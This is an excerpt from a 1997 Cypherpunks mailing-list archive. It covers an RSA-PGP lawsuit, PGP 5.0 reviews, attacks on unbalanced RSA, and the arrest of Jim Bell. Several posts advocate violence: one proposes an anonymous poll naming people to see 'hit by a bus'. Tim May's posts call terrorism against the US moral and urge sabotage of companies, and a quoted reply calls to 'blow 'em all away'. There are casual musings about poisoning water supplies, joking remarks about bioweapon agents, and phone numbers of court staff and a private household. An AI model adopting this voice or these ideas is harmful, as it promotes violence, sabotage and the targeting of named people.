(which I didn't bother to have copied at $.75/page), the second is Exhibit
B, a letter from RSA's attorneys to Leonard Mikus of Lemcom Systems dated
4/16/97, which describes the basics of the dispute between RSA and PGP. I
copied the letter and have placed it online at
<http://www.parrhesia.com/rsapgp.html>.

The lawsuit itself is not for monetary damages, but for declaratory and
injunctive relief - RSA is asking the court to declare that the license
agreement's provision regarding arbitration did not survive the termination
of the license; that the royalty, payment, and accounting provisions of the
license agreement did survive its termination; and for an injunction
ordering PGP to comply with the agreement's terms for paying royalties and
accounting for sales.

What I find interesting is what is not included in the suit - a claim for
patent infringement. (Such a claim can only be filed in federal court, and
this suit was filed - at the plaintiff's choice - in San Mateo County
Superior Court, a California state court.) 

The letter identifies several areas of disagreement between the parties:

1.	RSA believes it had the right to approve or reject the PGP/Lemcom merger
2.	RSA says that PGP has licensed the patent to OEM customers, in violation
of the license agreement
3.	RSA says that PGP has licensed certain source code to some customers, in
violation of the license agreement
4.	RSA says that Lemcom has not made a royalty payment since the third
quarter of 1996. (But I'm sure I saw something - in the media? - where PGP
says they've been making royalty payments.)

And the letter says that RSA is immediately terminating PGP's license to
use/make software including the RSA public-key algorithm because of those
breaches. 

PGP hadn't filed a response yet - they'll have 30 days to do so from the
date of service, and I think they were served with the suit somewhere
around the 10th of May. (There was a proof of service document in the file,
but I didn't bother having it copied.) 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 20 May 1997 12:41:09 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: More on the Jim Bell case
In-Reply-To: <3.0.2.32.19970519183115.00b84e30@mail.teleport.com>
Message-ID: <v0300780dafa6d66d2751@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>-----BEGIN PGP SIGNED MESSAGE-----
>
>The local news just had a story on the Jim Bell case.
>
>They are now claiming that the search warrent (how the news people got a copy
>is a big question) included Sarin nerve gas and Anthrax (not the band).

Nah, he told me that stuff was destroyed long ago ;-)

Can't imagine anyone going the trouble of culturing Anthrax when there's
other simpler to obtain/manufacture and almost as potent CBW agents ;;-)

>
>The news story was a pretty interesting hatchet job.  Included a number of
>horsemen and prominently mentioned encryption.

I impression was that jim didn't use encryption religously ;-(

>They claimed that the reason
>for the raid on East's home was because he sent Bell encrypted messages
>containing various evil and unauthorized thoughts.

So did a good portion of this list.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 20 May 1997 09:54:57 +0800
To: cypherpunks@toad.com
Subject: Jim Bell News
Message-ID: <1.5.4.32.19970520012631.008c3794@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


John Painter, the Oregonian reporter of Jim Bell's
arrest, said this evening that he's got another
story coming out tomorrow that will reveal more
of the situation, and that he'll fax a copy (which 
I'll post unless Alan does).

Mr. Painter says:

Jim's still in the Tacoma, WA, federal jail. There was
a prelim today and a hearing is due Friday.

The feds are keeping the case documents sealed.

Speculates that someone may be squealing on Jim 
in a deal.

Jim cannot receive calls but can call out collect.

A U.S. Federal Defender has been assigned to 
represent Jim: Peter Avenia, tel: 253-593-6710. 
Mr. Avenia did not return a call.

The U.S. District Court Judge is J. Kelly Arnold. 
Court Clerk is Kelly Miller, tel: 253-593-6313.

The Oregonian's telephone: 1-800-452-1420.

A man at Jim's home politely said he did not 
want to talk about it. Tel: 360-696-3911.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bob@bobsoftheworld.org
Date: Tue, 20 May 1997 12:57:37 +0800
Subject: No Subject
Message-ID: <199705200438.VAA29719@www10.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



  Hello Dave,

    There is GeoGreeting Card waiting from Bob
	 at http://www.geocities.com/GreetingCards/cards/Birthday.1323.html

	 Thanks,



	 GeoCities
	 http://www.geocities.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 20 May 1997 13:22:15 +0800
To: "Lynne L. Harrison" <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
Message-ID: <3.0.32.19970519220936.00710ca0@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:20 AM 5/20/97 -0400, Lynne L. Harrison wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, now that I've seen some good and bad reviews regarding the beta
>version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
>with Eudora Pro.  From what I've read, it seems the new beta version has
>nothing new to add - except some quirky bugs and the source code that's
>supposed to be available at some time in the future.

I used PGPMail 4.5 since it first came out. Version 5.0 adds easy lookup of
keys not on your keyring and support for PGP/MIME. And of course DSS/DH
keys. Since those are not backwards compatible, it may be a while before
they take off.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ! Drive <drink@aa.net>
Date: Tue, 20 May 1997 13:33:18 +0800
To: cypherpunks@toad.com
Subject: Sun Exploits Encryption Loophole
Message-ID: <3.0.1.32.19970519221704.006de1c8@aa.net>
MIME-Version: 1.0
Content-Type: text/plain



	http://www.techweb.com/investor/newsroom/tinews/may/0519sunw.html

Sun Microsystems prepares to take on federal government with plans to offer
a product from Russia that provides 128-bit and triple DES encryption over
the Internet.



-----------------------
"The user does not know what he wants, until he sees what he gets"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 20 May 1997 12:07:35 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: <3.0.2.32.19970519235515.032d1868@intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I'm very happy with the PGP 5.0 beta after less than an hour of testing.

The new PGP 5.0 seems to work well.  I'm finding a few bugs, and I had a 
configuration problem or two.  But this is much better than using the DOS 
version from Windows.  And much nicer than using Private Idaho.

For crypto to have widespread acceptance, crypto must work seamlessly on 
common platforms such as Windows.  While any Linux administrator can use PGP 
without much problem, the average Windows based knowledge worker has had 
problems with this.  PGP seamlessly integrates with Eudora and provides 
features required for electronic commerce.

I have used the keyserver lookup feature (from PGPkeys) and found it worked 
well.  PGP options have been added both to the Eudora menu and the toolbar.  
While I was not able to download PGP on Friday or Monday (day), customer 
support worked with me, and the technical people installed server updates to 
the US verification process on Friday and Monday afternoon, allowing me to 
finally download the 5MB file tonight.

PGP 5.0 takes advantage of the 32-bit APIs and uses the Win95 interface.  My 
existing 2.6 keyring was imported with no problem, and I have been able to use 
PGP 2.6 to verify signatures created with 5.0.  Best I can tell, the new 
product is backwards compatible with older versions.  I've also gotten email 
from a PGP person who has assured that source code will be available later.

The new product, when combined with Eudora seamlessly integrates

 * Email
 * Spell checking
 * Digital Signatures
 * Certification Authority (CA)
 * Web of trust
 * Encryption
 * Availability from a commercial source

This seamless integration is what is required to allow for successful 
implementation of Digital Signature initiatives most states have passed or are 
considering.

Overall, I'm happy.  I'd recommend that people obtain the beta and test it 
out.  I don't know what it will be selling for, but I'm sure it will be worth 
the price.

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4EgnUGpGhRXg5NZAQFvugIAojhDAbHQfIhe48LYveKNmlSHez0MBn8+
dLrBMM3+tTCdKJrRZRQKvY+Qux4YFc5tJnn+EZFf5tSsGV/7jGqsVQ==
=Gi0T
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/
     





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 20 May 1997 15:20:01 +0800
To: cypherpunks@algebra.com
Subject: Do Not read
Message-ID: <199705200708.AAA24279@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: 4.5

hIwD3DcuVanRWD0BBACzyQz4IV3J4RRc0i8Ydsgmlh3bzvL+2o2iCYJqbDMq2Hvo
qnQBfWh0YRNXSvixViwdTGiTVVjQM4KPBZaG8fct3zyplluJxWnRFjhTJ88BpBJl
mRk/srhQtOoP6G8PsaHbYRUjJWHGPJTwSNdRYJqJ0Hx53HpcaTmE27TyqkdMxqYA
AAArX4O1ji9cdvWyEhlxC3tZPOH5GgUfwrKQJniGdC3aEuWLKjUNNkTFRObAnw==
=sAgE
-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 20 May 1997 12:34:43 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970519192112.03804aa0@panix.com>
Message-ID: <3.0.1.32.19970520002025.006dafc4@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Well, now that I've seen some good and bad reviews regarding the beta
version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
with Eudora Pro.  From what I've read, it seems the new beta version has
nothing new to add - except some quirky bugs and the source code that's
supposed to be available at some time in the future.

Has anyone compared the above?

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM4EmeT5A4+Z4Wnt9AQGMQwQAn48j+/KJVNlFKkWMZx0VLyfuob10jQL4
b1rx+tO7icLKcuYjU8WwHQlAJooeqXq0bjAtQ88+6DMbqfJpds7I68Wv1xpFwI8f
qkV4wWGttHzJ4S2BucLvlWyp33kTmOdVzFlctLPk9PAV++sXc3sQ7fXrhiuUn3wJ
+MpLYbhRaFA=
=ogVd
-----END PGP SIGNATURE-----


*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 20 May 1997 17:43:34 +0800
To: cypherpunks@toad.com
Subject: Re: More on the Jim Bell
Message-ID: <TCPSMTP.17.5.20.5.35.30.2780269260.1644876@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:alan@ctrl-alt-del.com to Harka <=-

 In> The news story was a pretty interesting hatchet job.  Included
 In> a number of horsemen and prominently mentioned encryption.
 In> They claimed that the reason for the raid on East's home was
 In> because he sent Bell encrypted messages containing various
 In> evil and unauthorized thoughts.

 In> Why am I not surprised...

Why am I surprised...How the hell did they know, what the messages
were about??
(Unless Jim saved his e-mails in plain-text to his hard drive,
didn't bother to use SFS or something similar and all this stuff was
recovered as a result of the initial search of his house. In which
case a lot of list-members might want to start thinking about
various possibilities...)

Ciao

Harka

... This is as bad as it can get -- but don't bet on it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM4FrhDltEBIEF0MBAQHFBgf+N22d3ObZH16A4i/GrO9oAyXgdeHzpHRP
qRqXigYjy0HrgNGR4ja6i3AqAZjzmIEZKhut+shOqD6wtKhUQHXP6kMxPoVx95Ex
FTEOZd6wmAFLzBpqnCxmcla9e7GFAcladnscf8BJhBBq3hBlGY6fkkA43wQOl68T
o78wi6XL96JR6rvVSAU3iLXceEQnj3q5o/RfK4cU+s2MMpsuc78iAEujQ2y7FUsU
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C6Eo1tcK3fqsRc38GOdSvzp3xj7BkyvX0+lnGFVWrGgYEGyl+G6OzA==
=N/hb
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kibo <kibo@thecia.net>
Date: Tue, 20 May 1997 18:16:57 +0800
To: freedom-knights@jetcafe.org
Subject: Re: CFV: moderate sci.cryonics -- I vote NO
In-Reply-To: <199705200159.UAA05630@manifold.algebra.com>
Message-ID: <Pine.BSI.3.96.970520053902.29300C-100000@shell.thecia.net>
MIME-Version: 1.0
Content-Type: text/plain


this deals with a sci newsgroup being moderated, which
is an exception to the "unmoderated" rule.

On Mon, 19 May 1997, Igor Chudov @ home wrote:

> Date: Mon, 19 May 1997 20:59:27 -0500
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: mail2news@manifold.algebra.com, hkt@wwa.com,
>     freedom-knights@jetcafe.org, mkagalen@lynx.dac.neu.edu,
>     cypherpunks@manifold.algebra.com
> Cc: ichudov@manifold.algebra.com
> Subject: Re: CFV: moderate sci.cryonics -- I vote NO
> Newsgroups: sci.cryonics,news.groups,alt.cypherpunks,alt.privacy,alt.privacy.anon-server,alt.anonymous.messages,alt.anonymous.remailers,alt.conspiracy
> 
> Lewis McCarthy (lmccarth@cs.umass.edu) wrote in <3377FA31.167E@cs.umass.edu>:
> * Charles Platt writes:
> * > I feel it's unfortunate that the 
> * > charter was worded to exclude anonymous postings, but clearly this 
> * > news group does need to be moderated, and I believe that Keith will 
> * > do so fairly and openly.
> * 
> * That's all well and good, but the CFV is a referendum (in part) on the 
> * particular charter that appears in the CFV, not on an alternate policy
> * that purportedly may be followed by the moderator. Unfairly applied
> 
> That is correct.
> 
> The promises by the proposed moderator are even more suspicious given
> that:
> 
> 	This future moderator PROMISES TO VIOLATE HIS OWN CHARTER.
> 

Given the subject, the attempt to limit the content is
going to be tough.  What do you do with the religious zealots
which say "God does not like frozen people" ?

> The charter is absolutely clear in respect to what is not allowed:
> 
> Charter> Unacceptable messages include personal attacks, messages 

You had better specifically define what a "personal attack" is.

You may never limit my ability to call you a "motherfucker" in any forum,
and if you call that a "personal attack" then you have a censorship
problem.

> Charter> posted without a valid sender address, and any message not 
> Charter> pertaining to the topics above.
> 

And what about crossposting?  Does the charter put any limit on that?
Any limitations on that are Unconstitutional.

> (see 
> 
> http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11
> 
> for the charter and ballot)
> 
> 
> * written rules have a real chance of being challenged, whereas with 
> * unwritten rules there's much less hope of receiving fair treatment. 
> * Overly broad restrictions, like the one in the CFV regarding messages 
> * from unreplyable senders, are a boon for selective enforcement. 
> 
> I repeat again, in my opinion, there is no valid reason for any
> moderated discussion newsgroup to ever forbid anonymous and pseudonymous
> postings. Such restrictions destroy the value that usenet newsgroups
> have.
> 

Exactly, and anonymity is a constitutional right.

> Correspondently, I will strongly oppose any proposal that restricts
> posters ability to post anonymously.
> 
> Presence of such provision in the charter is a strong indication
> that the proponent is a control freak.
> 
> * It's been a couple of years since I voted on a newsgroup proposal, but
> * I'll be voting NO on this sci.cryonics reorganization. Get back to me
> * if the charter is reworded s.t. the moderator is directed to judge a
> * message primarily based on its _content_  rather than its _sender_.
> 
> Could not agree more!
> 
> * CFV pointer: Message-ID <863077501.7020@isc.org>, posted to the usual
> * places on May 8 by David Bostwick
> * -- 
> * Lewis    http://www.cs.umass.edu/~lmccarth/lmkey.asc   "And all the 
> * science, I don't understand; it's just my job, eight days a week..."
> 

Both this David Bostwick and this Charles Platt are suspicious characters.
They have past or present bofh.cabal connections, do they not?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Tue, 20 May 1997 19:15:09 +0800
To: "Lynne L. Harrison" <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970519235515.032d1868@intergate.net>
Message-ID: <3.0.2.32.19970520070041.03bfaa60@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Well, now that I've seen some good and bad reviews regarding the beta
>version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
>with Eudora Pro.  From what I've read, it seems the new beta version has
>nothing new to add - except some quirky bugs and the source code that's
>supposed to be available at some time in the future.
>
>Has anyone compared the above?

I've been using 4.5 since it was in Beta and I paid the $29.95 to upgrade to 
it when they started charging (they have you cut and paste your public key 
into the form to prove you are upgrading from a free version of PGP).

I downloaded 5.0 a day or two ago and have been using it.  It is possible to 
use both on the same machine although you have to watch your key location.

I Use Windows 95.  

Installation of PGP for Personal Privacy 5.0 went OK.  Unless you have the 
latest Beta of Eudora (3.0.2 B4) it installs the files necessary to upgrade 
your version of Eudora.  Unfortunately, 3.0.2 B4 expires in June so you'll  
have to continue upgrading.   My only problem was that when I had the program 
move and rename my key rings, I forgot which key file I was pointing to and 
made my secret ring my public ring for a few minutes until I reinstalled.  The 


program puts its menu into the "tray".  Its menu is shorter than the PGP Mail 
4.5 menu because the key handling is done from the PGPkeys program.  It 
displays a graphic key list and you can point and click and drag and drop to 
perform most key management tasks.

The new features are 1) automatic lookup of keys from the keyserver of your 
choice (defaults to PGP Incs keyserver).  2) automatic signing (or even 
encryption) of outgoing mail.  You click <Queue> in Eudora and it prompts you 
for your passphrase.  3) Use of ElGamal (DSS/Diffie-Hellman) instead of RSA 
for your key if you like.  4) Use of PGP/Mime for outgoing messages if you 
like.  5) it will cache you private key in memory for a user configurable 
length of time (default is 120 seconds) so that you can easily encrypt 
multiple messages.

It has worked fine so far.  Digital signing and encryption seem faster than 
with 4.5.

DCF

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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n+NOO6v8JNo=
=2Dxy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Tue, 20 May 1997 23:57:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Public Key Break Paper
Message-ID: <199705201532.IAA08042@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Gutmann, pgut001@cs.auckland.ac.nz, writes:
> (I had another look at the unbalanced RSA proposal in the Autumn 1995
>  CryptoBytes as I was trying to find the above article, did anyone ever do
>  anything with unbalanced RSA or was it just left as a curiosity?).

The unbalanced RSA idea, by Shamir, was to choose primes p and q with p
considerably less than q, e.g. p = 500 bits, q = 4500 bits.  With numbers
of this size, the difficulty of factoring a 5000 bit n = pq is still just
as hard as if p and q were both about 2500 bits.  Then, you only encrypt
numbers < p, and it turns out that you can do the decryption mod p rather
than mod n, so decrypt is much, much faster than for a conventional 5000
bit modulus.

There have been some attacks on this.  The main limitation is that the
encrypted number is supposed to be < p.  There is a chosen-cyphertext
attack, taking an x a few bits larger than p, encrypting it, and asking
for the resulting decryption.  This produces x mod p, which combined
with x can be used to find p.

Another attack along these lines is to guess x about the size of p, send
a legitimate message based on it, then watch the receiver's behavior to
try to determine whether the message had decrypted correctly.  If x < p
it would decrypt OK, otherwise it would decrypt to garbage.  Repeat this
to narrow down an interval containing p.

I believe these were presented by Quisquater at the Crypto 96 rump session,
although I think he was referring in part to some attacks which had already
been discovered.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 21 May 1997 00:32:27 +0800
To: cypherpunks@algebra.com
Subject: For whom the Bell tolls...
Message-ID: <Pine.GSO.3.96.970520091919.3875A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


The article on Bell was printed in this morning's Oregonian.

Hoo Boy!

They are accusing him of all sorts of nasty shit!

"Planning to poison the Bull Run watershed with Botulism."

"Planning to use a carbon thread attack on the 911 system."

And more.

If John Young has not printed the article by the time I get home from
work, I will type the whole thing in.

They are REALLY playing rough this time!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 20 May 1997 21:59:47 +0800
To: cypherpunks@cyberpass.net
Subject: A little list... [Re: Jim Bell goes to Jail!]
Message-ID: <199705201349.GAA12194@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



DCF writes:
>At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:
>>Some of his statements could have been taken as advocating the killing of 
>>federal employees of various sorts.  The question is whether he actually
>>tried 
>>to arrange it in real life.  (Which I doubt.)
>In the U.S., it is legal to advocate killing anyone except Clinton and his 
>family and maybe the veep.
>DCF

While I think AP is appalling (I regard all premeditated killing as 
unacceptable, whether committed by the state or individuals), the 
following might be fun:

Set up a web page which collects names of 'people you'd like to see 
hit by a bus'. This is a poll, not AP - no money is involved, and
there is no suggestion that these desires be carried into action.
Allow people to anonymously add their vote to names already on the list, 
or nominate new ones themselves.

While there is the possibility of abuse (someone sets up a 'bot to 
nominate their ex-wife 10,000 times), clearly you would not want to
try to keep track of who voted for who.

I expect we'd see The Usual Suspects, and a lot of people who are 
known in only limited spheres (sports figures, widely disliked 
bosses and CEOs). There would also be many individuals with a 
single vote against them, and a lot of people notorious only on the
net.
 
One refinement might be to display names only for people with some
threshold of strikes against them - say 20 votes. Another would be
to allow people to register both 'yea' or 'nay' on names on the
list.

I don't have a facilities to set this up myself, so don't ask me.
If someone else does it, I hope they check to see of there are
any legal implications.

Peter Trei
trei@process.com 
---------------------------
[

KOKO (the newly appointed Grand High Executioner):
I am happy to think that there will be no difficulty in finding
plenty of people whose loss will be a distinct gain to society at
large.

             SONG--KO-KO with CHORUS OF MEN.

As some day it may happen that a victim must be found,
     I've got a little list--I've got a little list
Of society offenders who might well be underground,
     And who never would be missed--who never would be missed!
There's the pestilential nuisances who write for autographs--
All people who have flabby hands and irritating laughs--
All children who are up in dates, and floor you with 'em flat--
All persons who in shaking hands, shake hands with you like
     that--
And all third persons who on spoiling tete-a-tetes insist--
     They'd none of 'em be missed--they'd none of 'em be missed!
etc....

Gilbert & Sullivan, "The Mikado"

]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 01:53:12 +0800
To: cypherpunks@cyberpass.net
Subject: The USA is the world's biggest terrorist state
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <v03007801afa798af0cca@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:23 AM -0800 5/20/97, Attila T. Hun wrote:

>    as to trivializing tim may as to wine and for his comment below on
>    OKC, if the gubmit becomes a terrorist state (and who is to deny
>    that it is not, and has not been this century), then the terrorist
>    much expect retaliation.

The United States of America sits astride the world, holding the riding
crop and ordering the other nations of the world around in various ways. It
sends troops to distant parts of the world. It even takes on the main
"peacekeeping" (meaning: choosing a faction and suppressing the other
factions) role in Yugoslavia...surely a European problem, if a problem at
all.

(I say let the Bosnians, Serbs, Croatians, Albanians, Macedonians, etc.
massacre each other. That my tax dollars, and American lives, are being
spent in this "Balkanized nonsurprise" are criminal. If infowar and
terrorism are needed to destabilize the U.S. Military-Industrial War
Machine, then I guess that's what's needed. Period.)

The USA is without any doubts the largest economic and political power. And
it uses threat of military intervention to influence other terrorist
states. It's military budget remains bloated far beyond any reasonable
response to realistic threats. It is, of course, the world's policeman.
Worse, the world's secret policeman. (Lest you doubt this, it trained, and
continues to train, the torturers in Africa and South America. It issued
the CIA manual on assassinations and torturings, and it taught several
armies how to encourage prisoners to talk by throwing some of them out of
helicopters. Now it is training the former KGB and related folks in how to
wage a War on Drugs and Civil Rights in their countries. I wonder if the
helicopter trick is still being taught?)


Meanwhile, the alleged civil rights and cyber liberties groups are arguing
"it's the best deal we can get" while dozens of new restrictions on speech
and encryption are being promulgated. And so on. (I could give a dozen
examples, from DiFi's "bomb-making instructions ban" to forcing the Playboy
Channel off cable systems until 10 p.m. to restrictions on speech about
what an acceptable employee applicant is (Hint: Don't say that Ebonics is
unacceptable, else face fines).

The only valid point of view is to reject all limits on basic rights. And
since mere rejection of the points of view of the NSA, EPIC, CIA, CPSR,
DIA, EFF, DEA, etc. is not enough, to sabotage companies which work with
these stooges.

(Many Cypherpunks are now working for these companies which have decided to
"play ball" with David Aaron, George Tenet, Louis Freeh, and the others. I
hope you are considering what options exist to undermine and sabotage such
efforts. The Cypherpunks meeting in March generated some good ideas.)

And one of our own is arrested on almost certainly trumped up charges
designed to play well in the media (botulism in the water, Sarin in the
air...they probably found some Loompanics and Paladin Press books on how to
make nerve gases and other poisons...freely available, and I have some
myself).


>    The US in this century, at one point or another in time, has
>    destabilized 90%+ of the world governments, including the Labour
>    Party in GB prior to Iron Maggie's rule (and if you want names of
>    the phony US Dept of State consular employees involved, a pointer
>    can be provided).

The United States of America is the world's leading terrorist state. From
mining harbors in countries with democratically elected governments to
financing the blowing up of airliners by dissident groups to assassinating
dozens of leaders of countries the USA wished to shape in different
directions, the USA is Terror State Numero Uno.

Destabilizing a terror state is, I think, a moral thing to do.



>    as for the great fairweather liberal bigot Blanc's passing it off
>    as tcm's drunken ramblings, I doubt it.  war is hell, and
>    "innocents" get wasted --but, a society at war has no innocents.
>    blow 'em all away.  scorched earth is inadequate; burnt earth is
>    more effective. if there are no prisoners, there are no
>    complainers.

As I said at the time, Blanc's cheap shot was an incoherent form of
criticism. As I write much the same things morning, noon, and night (check
the timings of my posts), either I'm drunk at all hours of the day, or
these are my overall views.

You folks can decide for yourselves.

I noticed with interest this morning that Peter Trei had an interesting
thought experiment for implementing a variant of assassination politics.
Interesting because not much more than a week or two ago Peter was making
the point that I seemed to have gone off the deep end, or at least was no
longer writing "thoughtful" essays and/or was not focussing on what he
wanted to read about (a hopeless task, of course, to tune one's writings to
the interests of others).

Peter has now thrown in with the "let's see how AP might work." His
variant, "Who do we want to see hit with a bus?," is of course essentially
identical to AP.

"Has Peter lost it with these rantings?"

And of course we have Declan McCullagh, a reasonable fellow, saying that
we'd better restrain ourselves or the government will do it for us.

(One wonders if the First Amendment is still being taught in journalism
school.)

Hey, maybe Swinestein will introduce a new law to stop discussions of
freedom of speech. "It Takes a Village," after all.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 03:01:26 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell 2
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: <v03007802afa7a6a35406@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:34 AM -0800 5/20/97, John Young wrote:
>   The Oregonian, May 20, 1997, Metro Section P-1:
>
>   IRS says suspect discussed sabotage
>
>      An affidavit says a Vancouver man arrested Friday talked of
>      sabotaging Portland's 9-1-1 computer and Bull Run water
>
>   By John Painter, Jr., of the Oregonian staff
>
>   Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>   Revenue agents discussed sabotaging the computers in Portland's
>   9-1-1 center and talked about using a botulism toxin to contaminate
>   the Bull Run water supply, a federal agent said Monday.

(It's hard for me to avoid sarcasm, by saying things like "Of course, talk
is now covered by the Safe Streets and Water Source Protection Act of
1997," but I will eschew such sarcasm and simply state the obvious.)

Nothing in the "Orgonian" (named after Reich's banned books--sorry, I
slipped) indicates anything more than _talk_ was ever involved. No bombs
went off, no water supplies were poisoned, and apparently no botulism was
cultured. The finding of a 3-foot carbon pole in the home of a radio
operator....such things are found in many places, and the nexus with a
conspiracy to actually do something is nonexistent.


>   He is accused of obstructing government officers and employees and
>   using false Social Security numbers. But government agents think he
>   is far more dangerous than the charges suggest, the affidavit filed by
>   IRS Inspector Phillip G. Scott said.

About these charges I can of course say nothing. (Though I note that _my_
SS card says quite clearly it is for tax and SS purposes ONLY, and is not
be used for identification. When I pointed this out down at the Department
of Motor Vehicles, I was met with a shrug and told that if I did not give
my SS number as ID number I would not get a registration tag, and that if I
persisted in arguing this at the counter that "security" would be called in
to have me removed or arrested or tortured or whatever. By the way, would
it be useful guerilla theater exercise to have our SS numbers tattooed on
our forearms?)


>
>   Scott's affidavit said Bell, who has a chemistry degree from the
>   Massaschusetts Institute of Technology, had discussions about using
>   carbon fiber particles to attack computer systems with Greg Daly, a
>   friend who is an electronics specialist overseeing Portland's 9-1-1
>   communications center.
>
>   "Daly stated that he and Bell had 'laughed' about attacking the 9-1-1
>   center with fiber," the affidavit said.

Who of us hasn't brainstormed about how to attack the security of a system,
or the security of a water supply? Who of us hasn't thought about how easy
it would be drop LSD or botulins in the water supplies of a major site? Is
this also called "contingency planning"? Or "tiger team analysis"?

It could be argued, and I hope it will be, that Bell was helping his friend
Daly improve the security of his computer installation.

